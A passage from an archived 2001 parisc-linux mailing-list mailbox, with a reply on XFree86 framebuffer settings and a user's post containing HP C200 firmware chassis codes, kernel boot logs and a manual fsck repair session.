will bring. I'm talking 500 or so cycles per IO port space read
on a 400Mhz PA8500.

Of course, you could measure inb() precisely with CR16 on *your* box
(using EISA) since YMMV and I haven't done this in a while.

grant



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Old but open problem of Xfree on 2.4.9-pa75
Date: Mon, 5 Nov 2001 10:21:24 +0100
Organization: SAP LinuxLab
Lines: 41
Approved: news@gmane.org
Message-ID: <200111050921.KAA01677@sap-ag.de>
References: <3BE489EB.CBD535AD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620708 29196 80.91.229.3 (22 Nov 2014 01:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:08 +0000 (UTC)
To: Christoph Plattner <christoph.plattner@gmx.at>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 02:21:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6E41482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 02:21:27 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA21258;
  Mon, 5 Nov 2001 10:24:21 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <3BE489EB.CBD535AD@gmx.at>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12906

Hi Christoph,

I think you will need to limit the XFree-86 screen resolution in
/etc/XF86Config to exactly that resolution and bpp depth which 
sti/stifb tells you. Delete all other resolutions and the warnings should
go away.

Greetings,
Helge 

On Sunday 04 November 2001 01:20, Christoph Plattner wrote:
> Hello !
>
> Starting current Xfree-4.1.0.1 the system reports the already described
>
> FBIOPUT_VSCREENINFO: Invalid argument
>
> (a message not written into the log file !!)
>
> This message is written after
>
> (**) FBDev(0): Using "Shadow Frambuffer"
>
> The resulting reaction is the fatal error with an abort.
>
>
> What is the reason for that ?
> By the way, the server also reports not having
> the PCI stuff, which is perhaps not compiled in my kernel, but that
> seems not
> to be the problem here.
>
> How can this can be solved. My config uses 8 bbp, the STI console driver
> inside
> the kernel also reports 1280x1024-8 ! So this should run ....
>
> Please help
>
> Christoph P.



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting C200
Date: Mon, 05 Nov 2001 07:16:36 -0500
Lines: 880
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011105071636.0191f530@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620709 29202 80.91.229.3 (22 Nov 2014 01:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 05:16:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8496482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 05:16:52 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id 3920817014
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 07:17:20 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12907

OK, I found some stuff in the archive on the "Chassis Codes" and set up an
old laptop as a terminal, disconnected the keyboard (and mouse) and booted.
Now I tried this with the disk out of my 712/60 and the C200 is not hung.
It proceeds through the boot process and then hangs on starting cron.

>From the console log, I cannot find any mention of a graphics card so I
would assume that the A4553A is not supported/handled correctly. Is there a
graphics card which is "supported"? I don't know if I can get my hands on
another graphics card (other than the A4070A in the C110).

I'll try the "Chassis Codes" thing on the C110 and send the log.

Here's the log from my attempt. Note that I had shut down by pulling the AC
when the box hung so I had to fsck the partition manually:
TEST 2023
TEST 2030
TEST 2040
TEST 2060
TEST 2070
TEST 2071
TEST 2072
TEST 2073
TEST 2074
TEST 2080
TEST 10B1
INIT 103C
TEST 103E
INIT C30C
INIT 10CA
INIT C30C
INIT 10CA
INIT CD00
INIT CD08
TEST CD10
INIT CD10
TEST CD11
TEST CD12
TEST CD13
TEST CD14
TEST CD15
TEST CD1F
INIT CD1F
TEST CD1A
TEST CD1B
TEST CD1C
TEST CD1D
TEST CD20
INIT CD20
TEST CD21
TEST CD22
TEST CD23
TEST CD24
TEST CD25
TEST CD2A
TEST CD2B
TEST CD2C
TEST CD2D
TEST CD16
INIT CDFF
TEST C210
TEST C220
TEST C230
TEST C2D3
TEST C2D7
TEST C240
TEST C260
TEST C261
TEST C263
TEST C264
TEST C265
TEST C2E0
INIT C30C
INIT 10CA
TEST 4000
TEST 4020
TEST 4021
TEST 4021
TEST 4022
TEST 4022
TEST 4023
TEST 4023
TEST 4024
TEST 4024
TEST 4025
TEST 4025
TEST 4026
TEST 4026
TEST 4029
TEST 4029
TEST 402A
TEST 402A
TEST 402D
TEST 402D
TEST 4030
TEST 4040
TEST 4050
TEST 4060
TEST 2090
TEST 2050
TEST 10B2
TEST 10A0
TEST 10A1
TEST 10A2
TEST 10A3
TEST 10A4
TEST 10A5
INIT 103C
TEST 400E
INIT C30C
INIT 10CA
INIT C3FF
INIT C30C
INIT 10CA
INIT 8C20
INIT 8C21
INIT 8C22
INIT 8C10
INIT 8C11
INIT 8C12
TEST 301B
TEST 301C
INIT C653
INIT C400
INIT C440
INIT C642
WARN 80F4
WARN 9000
INIT C641
INIT C642
WARN 80F4
INIT C605
INIT C600
INIT C640



Firmware Version  5.0

Duplex Console IO Dependent Code (IODC) revision 1

----------------------------------------------------------------------------
--

   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

---------------------------------------------------------------------------
---


  Processor   Speed            State           Coprocessor State  I/D Cache 

  ---------  --------   ---------------------  -----------------
-------------

      0      200 MHz    Active                 Functional         512 KB/1 MB


  Central Bus Speed (in MHz) :        120


  Available memory (bytes)    : 268435456

  Good memory required (bytes):   22343680 


  Primary boot path:    FWSCSI.6.0

  Alternate boot path:  SESCSI.5.0

  Console path:         GRAPHICS(4)

  Keyboard path:        PS2


------- Main Menu
-------------------------------------------------------------


        Command                         Description

        -------                         -----------

        BOot [PRI|ALT|<path>]           Boot from specified path

        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

        SEArch [DIsplay|IPL] [<path>]   Search for boot devices


        COnfiguration [<command>]       Access Configuration menu/commands

        INformation [<command>]         Access Information menu/commands

        SERvice [<command>]             Access Service menu/commands


        DIsplay                         Redisplay the current menu

        HElp [<menu>|<command>]         Display help for menu or command

        RESET                           Restart the system

-------

Main Menu: Enter command > sea ipl


Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).



   Path Number        Device Path              Device Type and Utilities

   -----------        -----------------        -------------------------

   P0                 SESCSI.6.0               SEAGATE ST31230N        

                                               IPL



Search terminated.



Main Menu: Enter command > bo p0

Interact with IPL (Y, N, Q)?> n

INIT C740

Booting... 
Boot IO Dependent Code (IODC) revision 153
INIT C780
INIT C30C
INIT 10CA


HARD Booted.
INIT C7FF
palo ipl 0.92 bame@c3k Wed Jun 20 11:49:11 MDT 2001

0/vmlinux32 2853588 bytes @ 0x48000

Partition Start(MB) End(MB) Id Type

1               1       9   f0 Palo

2              10     131   82 swap

3             132     227   83 ext2

4             228    1001   83 ext2


Command line: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'


Kernel: partition 3 file /boot/vmlinux-2.4.0

ext2 block size 1024
ext2_mount(partition 3) returns 0

ext2_open(/boot/vmlinux-2.4.0) = 3

ELF32 executable

Entry 00100000 first 00100000 n 4

Segment 0 load 00100000 size 1606948 mediaptr 0x1000

Segment 1 load 0028a000 size 468472 mediaptr 0x18a000

Segment 2 load 00300000 size 8192 mediaptr 0x1fd000

Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8

branching to kernel entry point 0x00100000

Set default PSW W bit to 0

Linux version 2.4.0-32 (root@slab) (gcc version 3.0 (Debian)) #1 Thu Jun
28 11:49:00 BST 2001

FP[0] enabled: Rev 0 Model 14

The 32-bit Kernel has started...

Determining PDC firmware type: Newer Box

model	000059d0 00000481 00000000 00000002 77ac21d7 100000f0 00000008
000000b2 000000b2

vers	00000400

cpuid	000001d0

CPUID	vers 14 rev 16

model	9000/782/C200+

Total Memory: 256 Mb

On node 0 totalpages: 65536

zone(0): 65536 pages.

zone(1): 0 pages.

zone(2): 0 pages.

PDC reported no LCD or LED.

Searching for devices...

Found devices:

1. Raven U/L2 Dino RS-232 (10) at 0xf2003000, versions 0x6, 0x0, 0x8c,
0x0, 0x0

2. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000, versions 0x56, 0x0,
0x81, 0x0, 0x0,  additional addresses: 0xffd0c000 0xffc00000 

3. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000, versions 0x56, 0x0,
0x8c, 0x0, 0x0

4. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000, versions 0x56, 0x0,
0x82, 0x0, 0x0

5. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000, versions 0x56,
0x0, 0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 

6. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000, versions 0x56, 0x4,
0x7b, 0x0, 0x0

7. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000, versions 0x56,
0x0, 0x84, 0x0, 0x0

8. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100, versions 0x56,
0x0, 0x84, 0x0, 0x0

9. U2-IOA BC GSC+ Port (7) at 0xf203f000, versions 0x501, 0x1, 0xc, 0x3, 0x0

10. U2-IOA BC GSC+ Port (7) at 0xf103f000, versions 0x501, 0x1, 0xc, 0x3, 0x0

11. Cujo PCI Bridge (13) at 0xf1000000, versions 0x682, 0x1, 0xa, 0x1,
0x0,  additional addresses: 0xf1800000 0xf6000000 

12. Dino PCI Bridge (13) at 0xf2000000, versions 0x680, 0x2, 0xa, 0x0,
0x0,  additional addresses: 0xf2800000 

13. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb,
0x1, 0x50

14. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb,
0x1, 0x50

15. Raven U 200 (9000/780/C200) (0) at 0xfffa0000, versions 0x59d, 0x0,
0x4, 0x0, 0x81

16. Raven U 200 (1) at 0xfffb1000, versions 0x5d, 0x0, 0x9, 0x0, 0x0

That's a total of 16 devices.

CPU(s): 1 x PA8200 (PCX-U+) at 200.000000 MHz

Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102

Console: colour dummy device 160x64

Calibrating delay loop... 398.95 BogoMIPS

Memory: 255236k available

Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)

Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)

Page-cache hash table entries: 65536 (order: 6, 262144 bytes)

Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)

POSIX conformance testing by UNIFIX

Dino version 3.0 (bridge mode) found at 0xf2000000



The GSCtoPCI (Dino hrev 2) bus converter found may exhibit

data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.

Systems shipped after Aug 20, 1997 will not exhibit this problem.

Models affected: C180, C160, C160L, B160L, and B132L workstations.


Lasi version 0 at 0xffd00000 found.

LED display at ffd0c000 registered

PS/2 keyboard controller at 0xffd08000 (irq 133) found, no device attached.

PS/2 psaux controller at 0xffd08100 (irq 133) found, no device attached.


sticonsole_init: searching for STI ROMs

ccio found U2 I/O MMU at 0xfff88000

io_io_high: 0xf6000000 io_io_low: 0xf2000000

ccio found U2 I/O MMU at 0xfff8a000

ccio: Cujo 2.0 bug needs a work around

io_io_high: 0xf2000000 io_io_low: 0xf1000000

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Starting kswapd v1.8

pty: 256 Unix98 ptys configured

request_module[parport_lowlevel]: Root fs not mounted

lp: driver loaded but no devices found

RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize

loop: enabling 8 loop devices

Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled

ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A

ttyS01 at iomem 0xf2003800 (irq = 74) is a 16550A

Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)

Linux Tulip driver version 0.9.13 (January 2, 2001)

eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:7D:D8:67, IRQ 64.

eth0:  MII transceiver #1 config 1000 status 7809 advertising 01e1.

parport_init_chip: initialize bidirectional-mode.

parport0: PC-style at 0xffd02800, irq 152 [PCSPP,TRISTATE]

lp0: using parport0 (interrupt-driven).

SCSI subsystem driver Revision: 1.00

sym53c8xx: at PCI bus 0, device 19, function 0

sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...

sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)

sym53c8xx: 53c875 detected 

sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 67

sym53c875-0: NCR clock is 40401KHz

sym53c875-0: ID 7, Fast-20, Parity Checking

sym53c875-0: on-chip RAM at 0xf2ffe000

sym53c875-0: restart (scsi reset).

sym53c875-0: Downloading SCSI SCRIPTS.

scsi0 : sym53c8xx - version 1.6b

sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 150, options 0

scsi1: Revision 0x2

scsi1: test 1 completed ok.

scsi1 : LASI/Simple 53c7xx

  Vendor: SEAGATE   Model: ST31230N          Rev: HP04

  Type:   Direct-Access                      ANSI SCSI revision: 02

Detected scsi disk sda at scsi1, channel 0, id 6, lun 0

SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)

Partition check:

 sda: sda1 sda2 sda3 sda4

Lasi Harmony Audio rev. 16 at 0xffd04000, using IRQ 146

md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27

md.c: sizeof(mdp_super_t) = 4096

NET4: Linux TCP/IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP

IP: routing cache hash table of 2048 buckets, 16Kbytes

TCP: Hash tables configured (established 16384 bind 32768)

IP-Config: Incomplete network configuration information.

NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.

VFS: Mounted root (ext2 filesystem) readonly.


INIT: version 2.78 booting
Loading /etc/console/boottime.kmap.gz
Activating swap...
Adding Swap: 124800k swap-space (priority -1)

Checking root file system...
Parallelizing fsck version 1.20 (25-May-2001)
/dev/sda3 was not cleanly unmounted, check forced.
/dev/sda3: |===                                                     |  5.8%
  
/dev/sda3: |=======                                                 /
11.7%   
/dev/sda3: |==========
 - 17.5%   
/dev/sda3: |=============
    \ 23.3%   
/dev/sda3: |================
       | 29.2%   
/dev/sda3: |====================
          / 35.0%   
/dev/sda3: |=======================
             - 40.8%   
/dev/sda3: |==========================
                \ 46.7%   
/dev/sda3: |=============================
                   | 52.5%   
/dev/sda3: |=================================
                      / 58.3%   
/dev/sda3:
|====================================                    - 64.2%

/dev/sda3: |=======================================                 \
70.0%   
/dev/sda3: |=========================================
 | 73.2%   
/dev/sda3: |===========================================
    / 76.9%   
/dev/sda3: |==============================================
       - 81.4%   
/dev/sda3:
|===============================================         \ 84.3%

/dev/sda3: |==================================================      |
90.0%   
/dev/sda3: |====================================================
 / 92.0%   
/dev/sda3:
                          
Unattached inode 4337


/dev/sda3: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
	(i.e., without -a or -p options)

fsck failed.  Please repair manually and reboot.  Please note
that the root file system is currently mounted read-only.  To
remount it read-write:

   # mount -n -o remount,rw /

CONTROL-D will exit from this shell and REBOOT the system.

Give root password for maintenance
(or type Control-D for normal startup): 
(none):~# fsck
Parallelizing fsck version 1.20 (25-May-2001)
(none):~# fsck /dev/sda3
Parallelizing fsck version 1.20 (25-May-2001)
e2fsck 1.20, 25-May-2001 for EXT2 FS 0.5b, 95/08/09
/dev/sda3 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Unattached inode 4337
Connect to /lost+found<y>? yes

Inode 4337 ref count is 2, should be 1.  Fix<y>? yes

Pass 5: Checking group summary information
Block bitmap differences:  -7236 +7316 -8635 +8648 +25426
Fix<y>? yes

Free blocks count wrong for group #0 (842, counted=911).
Fix<y>? yes

Free blocks count wrong for group #3 (57, counted=56).
Fix<y>? yes

Free blocks count wrong (49543, counted=49611).
Fix<y>? yes

Inode bitmap differences:  +4337
Fix<y>? yes

Free inodes count wrong for group #2 (1786, counted=1785).
Fix<y>? yes

Free inodes count wrong (21952, counted=21951).
Fix<y>? yes


/dev/sda3: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda3: 2529/24480 files (2.2% non-contiguous), 48019/97630 blocks
(none):~# y shutdown -r now

INIT: Switching to runlevel: 6
(none):~# 
INIT: Sending processes the TERM signal
Saving the System Clock time to the Hardware Clock...
hwclock: Could not open file with the clock adjustment parameters in it
(/etc/adjtime) for writing, errno=30: Read-only file system.
Drift adjustment parameters not updated.
Hardware Clock updated to Sun Nov  4 19:37:18 UTC 2001.
Stopping kernel log daemon: klogd.
Stopping system log daemon: syslogd.
Sending all processes the TERM signal... done.
Sending all processes the KILL signal... md: recovery thread got woken up ...

md: recovery thread finished ...

mdrecoveryd(9) flushing signals.

done.
Saving random seed... urandom stop: failed.
done.
Unmounting remote filesystems... done.
Deconfiguring network interfaces: /etc/network/ifstate: Read-only file system
done.
Deactivating swap... done.
Unmounting local filesystems... umount2: Invalid argument
umount: /dev/sda4: not mounted
done.
Rebooting... stopping all md devices.

Restarting system.

INIT C4CC
INIT C4CD
INIT 3002
TEST 30BC
INIT 30BC
TEST C0FF
INIT C30C
INIT 10CA
INIT C300
TEST 1030
TEST 1020
TEST 1021
TEST 1022
TEST 1023
TEST 1024
TEST 1025
TEST 1026
TEST 1027
TEST 1028
TEST 1029
TEST 102A
TEST 102B
TEST 102C
TEST 2010
TEST 2020
TEST 2021
TEST 2022
TEST 2023
TEST 2023
TEST 2030
TEST 2040
TEST 2060
TEST 2070
TEST 2071
TEST 2072
TEST 2073
TEST 2074
TEST 2080
TEST 10B1
INIT 103C
TEST 103E
INIT C30C
INIT 10CA
INIT C30C
INIT 10CA
INIT CD00
INIT CD08
TEST CD10
INIT CD10
TEST CD11
TEST CD12
TEST CD13
TEST CD14
TEST CD15
TEST CD1F
INIT CD1F
TEST CD1A
TEST CD1B
TEST CD1C
TEST CD1D
TEST CD20
INIT CD20
TEST CD21
TEST CD22
TEST CD23
TEST CD24
TEST CD25
TEST CD2A
TEST CD2B
TEST CD2C
TEST CD2D
TEST CD16
INIT CDFF
TEST C210
TEST C220
TEST C230
TEST C2D3
TEST C2D7
TEST C240
TEST C260
TEST C261
TEST C263
TEST C264
TEST C265
TEST C2E0
INIT C30C
INIT 10CA
TEST 4000
TEST 4020
TEST 4021
TEST 4021
TEST 4022
TEST 4022
TEST 4023
TEST 4023
TEST 4024
TEST 4024
TEST 4025
TEST 4025
TEST 4026
TEST 4026
TEST 4029
TEST 4029
TEST 402A
TEST 402A
TEST 402D
TEST 402D
TEST 4030
TEST 4040
TEST 4050
TEST 4060
TEST 2090
TEST 2050
TEST 10B2
TEST 10A0
TEST 10A1
TEST 10A2
TEST 10A3
TEST 10A4
TEST 10A5
INIT 103C
TEST 400E
INIT C30C
INIT 10CA
INIT C3FF
INIT C30C
INIT 10CA
INIT 8C20
INIT 8C21
INIT 8C22
INIT 8C10
INIT 8C11
INIT 8C12
TEST 301B
TEST 301C
INIT C653
INIT C400
INIT C440
INIT C642
WARN 80F4
WARN 9000
INIT C641
INIT C642
WARN 80F4
INIT C605
INIT C600
INIT C640



Firmware Version  5.0

Duplex Console IO Dependent Code (IODC) revision 1

----------------------------------------------------------------------------
--

   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

---------------------------------------------------------------------------
---


  Processor   Speed            State           Coprocessor State  I/D Cache 

  ---------  --------   ---------------------  -----------------
-------------

      0      200 MHz    Active                 Functional         512 KB/1 MB


  Central Bus Speed (in MHz) :        120


  Available memory (bytes)    : 268435456

  Good memory required (bytes):   22343680 


  Primary boot path:    FWSCSI.6.0

  Alternate boot path:  SESCSI.5.0

  Console path:         GRAPHICS(4)

  Keyboard path:        PS2


------- Main Menu
-------------------------------------------------------------


        Command                         Description

        -------                         -----------

        BOot [PRI|ALT|<path>]           Boot from specified path

        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

        SEArch [DIsplay|IPL] [<path>]   Search for boot devices


        COnfiguration [<command>]       Access Configuration menu/commands

        INformation [<command>]         Access Information menu/commands

        SERvice [<command>]             Access Service menu/commands


        DIsplay                         Redisplay the current menu

        HElp [<menu>|<command>]         Display help for menu or command

        RESET                           Restart the system

-------

Main Menu: Enter command > sea ipl


Searching for device(s) with bootable media...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).



   Path Number        Device Path              Device Type and Utilities

   -----------        -----------------        -------------------------

   P0                 SESCSI.6.0               SEAGATE ST31230N        

                                               IPL



Search terminated.



Main Menu: Enter command > bo p0

Interact with IPL (Y, N, Q)?> n

INIT C740

Booting... 
Boot IO Dependent Code (IODC) revision 153
INIT C780
INIT C30C
INIT 10CA


HARD Booted.
INIT C7FF
palo ipl 0.92 bame@c3k Wed Jun 20 11:49:11 MDT 2001

0/vmlinux32 2853588 bytes @ 0x48000

Partition Start(MB) End(MB) Id Type

1               1       9   f0 Palo

2              10     131   82 swap

3             132     227   83 ext2

4             228    1001   83 ext2


Command line: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'


Kernel: partition 3 file /boot/vmlinux-2.4.0

ext2 block size 1024
ext2_mount(partition 3) returns 0

ext2_open(/boot/vmlinux-2.4.0) = 3

ELF32 executable

Entry 00100000 first 00100000 n 4

Segment 0 load 00100000 size 1606948 mediaptr 0x1000

Segment 1 load 0028a000 size 468472 mediaptr 0x18a000

Segment 2 load 00300000 size 8192 mediaptr 0x1fd000

Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8

branching to kernel entry point 0x00100000

Set default PSW W bit to 0

Linux version 2.4.0-32 (root@slab) (gcc version 3.0 (Debian)) #1 Thu Jun
28 11:49:00 BST 2001

FP[0] enabled: Rev 0 Model 14

The 32-bit Kernel has started...

Determining PDC firmware type: Newer Box

model	000059d0 00000481 00000000 00000002 77ac21d7 100000f0 00000008
000000b2 000000b2

vers	00000400

cpuid	000001d0

CPUID	vers 14 rev 16

model	9000/782/C200+

Total Memory: 256 Mb

On node 0 totalpages: 65536

zone(0): 65536 pages.

zone(1): 0 pages.

zone(2): 0 pages.

PDC reported no LCD or LED.

Searching for devices...

Found devices:

1. Raven U/L2 Dino RS-232 (10) at 0xf2003000, versions 0x6, 0x0, 0x8c,
0x0, 0x0

2. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000, versions 0x56, 0x0,
0x81, 0x0, 0x0,  additional addresses: 0xffd0c000 0xffc00000 

3. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000, versions 0x56, 0x0,
0x8c, 0x0, 0x0

4. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000, versions 0x56, 0x0,
0x82, 0x0, 0x0

5. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000, versions 0x56,
0x0, 0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 

6. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000, versions 0x56, 0x4,
0x7b, 0x0, 0x0

7. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000, versions 0x56,
0x0, 0x84, 0x0, 0x0

8. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100, versions 0x56,
0x0, 0x84, 0x0, 0x0

9. U2-IOA BC GSC+ Port (7) at 0xf203f000, versions 0x501, 0x1, 0xc, 0x3, 0x0

10. U2-IOA BC GSC+ Port (7) at 0xf103f000, versions 0x501, 0x1, 0xc, 0x3, 0x0

11. Cujo PCI Bridge (13) at 0xf1000000, versions 0x682, 0x1, 0xa, 0x1,
0x0,  additional addresses: 0xf1800000 0xf6000000 

12. Dino PCI Bridge (13) at 0xf2000000, versions 0x680, 0x2, 0xa, 0x0,
0x0,  additional addresses: 0xf2800000 

13. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb,
0x1, 0x50

14. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb,
0x1, 0x50

15. Raven U 200 (9000/780/C200) (0) at 0xfffa0000, versions 0x59d, 0x0,
0x4, 0x0, 0x81

16. Raven U 200 (1) at 0xfffb1000, versions 0x5d, 0x0, 0x9, 0x0, 0x0

That's a total of 16 devices.

CPU(s): 1 x PA8200 (PCX-U+) at 200.000000 MHz

Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102

Console: colour dummy device 160x64

Calibrating delay loop... 398.95 BogoMIPS

Memory: 255236k available

Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)

Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)

Page-cache hash table entries: 65536 (order: 6, 262144 bytes)

Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)

POSIX conformance testing by UNIFIX

Dino version 3.0 (bridge mode) found at 0xf2000000



The GSCtoPCI (Dino hrev 2) bus converter found may exhibit

data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.

Systems shipped after Aug 20, 1997 will not exhibit this problem.

Models affected: C180, C160, C160L, B160L, and B132L workstations.


Lasi version 0 at 0xffd00000 found.

LED display at ffd0c000 registered

PS/2 keyboard controller at 0xffd08000 (irq 133) found, no device attached.

PS/2 psaux controller at 0xffd08100 (irq 133) found, no device attached.


sticonsole_init: searching for STI ROMs

ccio found U2 I/O MMU at 0xfff88000

io_io_high: 0xf6000000 io_io_low: 0xf2000000

ccio found U2 I/O MMU at 0xfff8a000

ccio: Cujo 2.0 bug needs a work around

io_io_high: 0xf2000000 io_io_low: 0xf1000000

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Starting kswapd v1.8

pty: 256 Unix98 ptys configured

request_module[parport_lowlevel]: Root fs not mounted

lp: driver loaded but no devices found

RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize

loop: enabling 8 loop devices

Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled

ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A

ttyS01 at iomem 0xf2003800 (irq = 74) is a 16550A

Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)

Linux Tulip driver version 0.9.13 (January 2, 2001)

